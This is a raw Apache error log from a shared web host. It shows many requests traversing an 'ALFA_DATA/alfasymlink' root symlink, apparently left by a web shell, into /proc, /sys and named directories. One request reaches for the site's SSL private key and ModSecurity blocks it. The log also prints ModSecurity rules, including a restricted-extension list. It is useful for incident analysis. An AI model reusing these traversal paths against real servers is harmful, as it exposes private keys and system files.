[Sat Oct 24 04:32:38.458099 2026] [core:error] [pid 2603777:tid 2603777] (13)Permission denied: [client 54.84.93.8:11576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/physical_node/crash_notes
[Sat Oct 24 04:32:43.313035 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 3.94.199.128:10036] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:32:46.298518 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 35.173.38.202:37449] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:32:50.288055 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 34.227.156.153:8452] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:33:06.288366 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 54.85.126.86:45723] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:33:10.358486 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 52.200.54.136:19891] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:33:11.620200 2026] [core:error] [pid 2603778:tid 2603778] (13)Permission denied: [client 85.208.96.206:20842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sbin/modsec-sdbm-util
[Sat Oct 24 04:33:22.369508 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 54.166.104.83:36971] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:33:26.318344 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 54.144.185.255:47404] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:33:33.301409 2026] [security2:error] [pid 2603807:tid 2603807] [client 43.134.15.174:38336] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/categorias/escuelas-institutos-y-universidades"] [unique_id "atxtXY3tkuH7XT-LVCb66AAAAAE"]
[Sat Oct 24 04:33:38.538286 2026] [core:error] [pid 2603780:tid 2603780] (13)Permission denied: [client 85.208.96.207:57020] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/secpath_cache/object_size
[Sat Oct 24 04:33:50.348825 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 3.94.40.182:39047] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:33:58.161681 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 85.208.96.196:56508] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:33:58.386149 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 184.73.47.24:17608] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:34:06.392792 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 3.217.82.254:2915] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:34:25.300776 2026] [core:error] [pid 2603778:tid 2603778] (13)Permission denied: [client 85.208.96.200:47770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-128/alloc_calls
[Sat Oct 24 04:34:34.710286 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 34.206.212.24:49086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:34:38.393499 2026] [core:error] [pid 2603780:tid 2603780] (13)Permission denied: [client 185.191.171.2:44118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:65/closing_wait
[Sat Oct 24 04:34:42.376900 2026] [security2:error] [pid 2603777:tid 2603777] [client 3.213.85.234:32486] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/slots/16/module/"] [unique_id "atxtovtAOTGC3TEpikhGpQAAAB8"]
[Sat Oct 24 04:34:42.376994 2026] [security2:error] [pid 2603777:tid 2603777] [client 3.213.85.234:32486] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/slots/16/module/"] [unique_id "atxtovtAOTGC3TEpikhGpQAAAB8"]
[Sat Oct 24 04:34:46.404977 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.221.180.179:12909] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:34:50.491299 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 34.225.243.131:54645] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:34:54.687733 2026] [core:error] [pid 2603779:tid 2603779] (13)Permission denied: [client 35.173.18.61:62980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0400:00/subsystem/drivers/ec/bind
[Sat Oct 24 04:35:02.386327 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 52.5.242.243:10375] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:35:06.396648 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 100.24.149.244:35336] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:35:11.891379 2026] [core:crit] [pid 2603777:tid 2603777] (13)Permission denied: [client 172.104.128.74:46918] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 04:35:12.028007 2026] [authz_core:error] [pid 2603807:tid 2603807] [client 172.104.128.74:20084] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 04:35:12.065537 2026] [authz_core:error] [pid 2603778:tid 2603778] [client 172.104.128.74:46922] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 04:35:12.141313 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 18.210.58.238:20830] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:35:14.375613 2026] [core:error] [pid 2603779:tid 2603779] (13)Permission denied: [client 54.235.191.179:36906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/serial/unbind
[Sat Oct 24 04:35:19.009731 2026] [core:error] [pid 2603780:tid 2603780] (13)Permission denied: [client 34.233.219.155:48125] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/cirrus/unbind
[Sat Oct 24 04:35:22.403287 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 52.205.141.124:37327] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:35:26.589346 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 18.214.124.6:4991] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:35:30.629940 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 52.3.102.51:58331] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:35:38.655110 2026] [core:error] [pid 2603780:tid 2603780] (13)Permission denied: [client 54.84.102.81:51898] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/pcieport/new_id
[Sat Oct 24 04:35:54.447509 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.204.253.129:61888] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:36:14.533865 2026] [core:crit] [pid 2603778:tid 2603778] (13)Permission denied: [client 3.213.46.222:8849] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1369/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1369/fd/' is executable
[Sat Oct 24 04:36:14.533943 2026] [core:crit] [pid 2603778:tid 2603778] (13)Permission denied: [client 3.213.46.222:8849] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1369/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1369/map_files/' is executable
[Sat Oct 24 04:36:14.533960 2026] [core:crit] [pid 2603778:tid 2603778] (13)Permission denied: [client 3.213.46.222:8849] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1369/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1369/fdinfo/' is executable
[Sat Oct 24 04:36:16.769341 2026] [core:error] [pid 2605376:tid 2605376] (13)Permission denied: [client 185.191.171.4:42680] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-96/order
[Sat Oct 24 04:36:26.506695 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 185.191.171.4:13806] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:36:26.701651 2026] [core:error] [pid 2603788:tid 2603788] (13)Permission denied: [client 44.221.37.41:39635] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:14/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/rom
[Sat Oct 24 04:36:30.599837 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 54.157.84.74:18531] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:36:34.600092 2026] [core:error] [pid 2603841:tid 2603841] (13)Permission denied: [client 54.198.33.233:49017] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:20/subsystem/devices/device:0a/subsystem/drivers/hpet/bind
[Sat Oct 24 04:36:38.542953 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 35.170.205.140:2231] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:36:46.498079 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 44.223.232.55:17332] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:36:58.624142 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 98.83.72.38:6250] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:37:02.518911 2026] [core:error] [pid 2605376:tid 2605376] (13)Permission denied: [client 34.194.14.255:32198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/remove
[Sat Oct 24 04:37:05.266678 2026] [core:crit] [pid 2603788:tid 2603788] (13)Permission denied: [client 71.6.235.67:34208] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 04:37:10.687013 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 3.212.219.113:39456] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:37:14.852641 2026] [core:error] [pid 2603841:tid 2603841] (13)Permission denied: [client 52.2.83.227:26362] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/uevent
[Sat Oct 24 04:37:19.835874 2026] [core:error] [pid 2605376:tid 2605376] (13)Permission denied: [client 98.84.60.17:12661] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input0/device/subsystem/devices/PNP0B00:00/physical_node/driver/unbind
[Sat Oct 24 04:37:31.091194 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 54.210.155.69:22383] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:37:31.921420 2026] [authz_core:error] [pid 2603777:tid 2603777] [client 136.114.53.8:57631] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 04:37:34.538782 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 3.216.86.144:63590] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:37:38.508688 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 54.197.114.76:19478] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:37:42.752290 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 98.82.214.73:62866] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:37:46.382751 2026] [core:error] [pid 2605376:tid 2605376] (13)Permission denied: [client 85.208.96.199:25666] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/tmp/tmp.o58AlLAxxb
[Sat Oct 24 04:37:46.580326 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 98.83.177.42:10390] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:37:54.563958 2026] [core:error] [pid 2603788:tid 2603788] (13)Permission denied: [client 98.83.94.113:48458] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/rom
[Sat Oct 24 04:38:01.665313 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 185.191.171.15:31378] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:38:02.593726 2026] [ssl:error] [pid 2605376:tid 2605376] (70014)End of file found: [client 52.0.41.164:23208] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:38:02.732213 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 185.191.171.15:31386] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:38:06.943245 2026] [security2:error] [pid 2603776:tid 2603776] [client 64.20.54.226:35382] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic3.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/9F09B1B77_7BBPSG192HU0SS7EPZX240"] [unique_id "atxubnX8E6TRudKM7Tq-uQAAABM"]
[Sat Oct 24 04:38:06.943291 2026] [security2:error] [pid 2603776:tid 2603776] [client 64.20.54.226:35382] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic3.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/9F09B1B77_7BBPSG192HU0SS7EPZX240"] [unique_id "atxubnX8E6TRudKM7Tq-uQAAABM"]
[Sat Oct 24 04:38:08.009897 2026] [security2:error] [pid 2603807:tid 2603807] [client 64.20.54.226:35820] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos2.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/_9I3BX5GDB23NA039FRI6RDZ1R-IK-RJ"] [unique_id "atxucI3tkuH7XT-LVCb6-QAAAAE"]
[Sat Oct 24 04:38:08.009932 2026] [security2:error] [pid 2603807:tid 2603807] [client 64.20.54.226:35820] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos2.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/_9I3BX5GDB23NA039FRI6RDZ1R-IK-RJ"] [unique_id "atxucI3tkuH7XT-LVCb6-QAAAAE"]
[Sat Oct 24 04:38:15.541406 2026] [ssl:error] [pid 2605376:tid 2605376] (70014)End of file found: [client 52.3.26.180:32286] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:38:22.729137 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.235.158.162:20938] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:38:30.839710 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 35.169.119.108:59461] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:38:32.431067 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 85.208.96.211:40084] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:38:33.358842 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 85.208.96.211:40092] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:38:42.811353 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.200.142.199:51579] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:38:46.628154 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 100.24.149.244:5101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:38:50.868623 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 98.83.94.113:61922] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:38:53.657806 2026] [security2:error] [pid 2603841:tid 2603841] [client 185.191.171.13:18982] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bbc75_1036f_46f1be9f7299bb28bdb30877c12f38fd.key"] [unique_id "atxunf5D_GgUDTIH79rMOAAAAAI"]
[Sat Oct 24 04:38:53.658215 2026] [security2:error] [pid 2603841:tid 2603841] [client 185.191.171.13:18982] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bbc75_1036f_46f1be9f7299bb28bdb30877c12f38fd.key"] [unique_id "atxunf5D_GgUDTIH79rMOAAAAAI"]
[Sat Oct 24 04:38:53.658635 2026] [security2:error] [pid 2603841:tid 2603841] [client 185.191.171.13:18982] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bbc75_1036f_46f1be9f7299bb28bdb30877c12f38fd.key"] [unique_id "atxunf5D_GgUDTIH79rMOAAAAAI"]
[Sat Oct 24 04:38:58.006684 2026] [core:error] [pid 2605376:tid 2605376] (13)Permission denied: [client 185.191.171.18:16824] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mnt_cache/trace
[Sat Oct 24 04:38:59.397558 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 34.206.212.24:65351] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:39:02.675905 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 35.169.119.108:19036] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:39:11.086593 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 44.193.102.198:4180] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:39:14.659392 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 18.214.124.6:13128] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:39:18.754624 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 54.84.250.51:31917] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:39:22.924422 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 52.4.229.9:2220] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:39:24.156206 2026] [core:error] [pid 2605376:tid 2605376] (13)Permission denied: [client 185.191.171.12:59756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/cache_dma
[Sat Oct 24 04:39:26.491134 2026] [core:error] [pid 2603779:tid 2603779] (13)Permission denied: [client 185.191.171.1:26954] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/trace
[Sat Oct 24 04:39:30.678013 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 52.54.95.127:2870] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:39:32.547886 2026] [core:crit] [pid 2603788:tid 2603788] (13)Permission denied: [client 71.6.242.60:62642] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 04:39:34.867203 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 3.220.148.166:61892] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:39:39.170178 2026] [ssl:error] [pid 2605376:tid 2605376] (70014)End of file found: [client 3.225.9.97:43386] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:39:42.732431 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 23.21.227.240:22290] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:39:51.170475 2026] [core:crit] [pid 2603841:tid 2603841] (13)Permission denied: [client 16.216.88.190:2048] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/cache/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/cache/' is executable
[Sat Oct 24 04:39:51.170541 2026] [core:crit] [pid 2603841:tid 2603841] (13)Permission denied: [client 16.216.88.190:2048] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/data/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/data/' is executable
[Sat Oct 24 04:39:51.170639 2026] [core:crit] [pid 2603841:tid 2603841] (13)Permission denied: [client 16.216.88.190:2048] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/ns_parse_cache/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/ns_parse_cache/' is executable
[Sat Oct 24 04:39:51.170786 2026] [core:crit] [pid 2603841:tid 2603841] (13)Permission denied: [client 16.216.88.190:2048] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/dynamic/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/dynamic/' is executable
[Sat Oct 24 04:39:51.170880 2026] [core:crit] [pid 2603841:tid 2603841] (13)Permission denied: [client 16.216.88.190:2048] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/parse_cache/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/parse_cache/' is executable
[Sat Oct 24 04:39:51.170927 2026] [core:crit] [pid 2603841:tid 2603841] (13)Permission denied: [client 16.216.88.190:2048] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/slaves/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/slaves/' is executable
[Sat Oct 24 04:39:54.809595 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 100.25.120.246:46730] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:40:03.018023 2026] [ssl:error] [pid 2605376:tid 2605376] (70014)End of file found: [client 3.230.224.6:61643] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:40:06.730146 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 18.211.148.239:58191] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:40:10.933564 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 3.210.223.61:41904] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:40:14.971433 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 34.197.28.78:53551] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:40:18.713978 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 34.193.2.57:53449] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:40:26.785395 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 3.213.106.226:41321] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:40:28.245788 2026] [core:error] [pid 2603780:tid 2603780] (13)Permission denied: [client 85.208.96.208:23602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-128/cpu_partial
[Sat Oct 24 04:40:30.747944 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 34.194.95.99:44545] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:40:31.470564 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 85.208.96.205:45660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/red_zone
[Sat Oct 24 04:40:34.787518 2026] [core:error] [pid 2603778:tid 2603778] (13)Permission denied: [client 18.233.24.238:14692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/eject
[Sat Oct 24 04:40:40.017048 2026] [authz_core:error] [pid 2603777:tid 2603777] [client 172.104.128.74:25086] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 04:40:42.761869 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 44.193.102.198:31484] AH02013: coalesce failed to read from data bucket
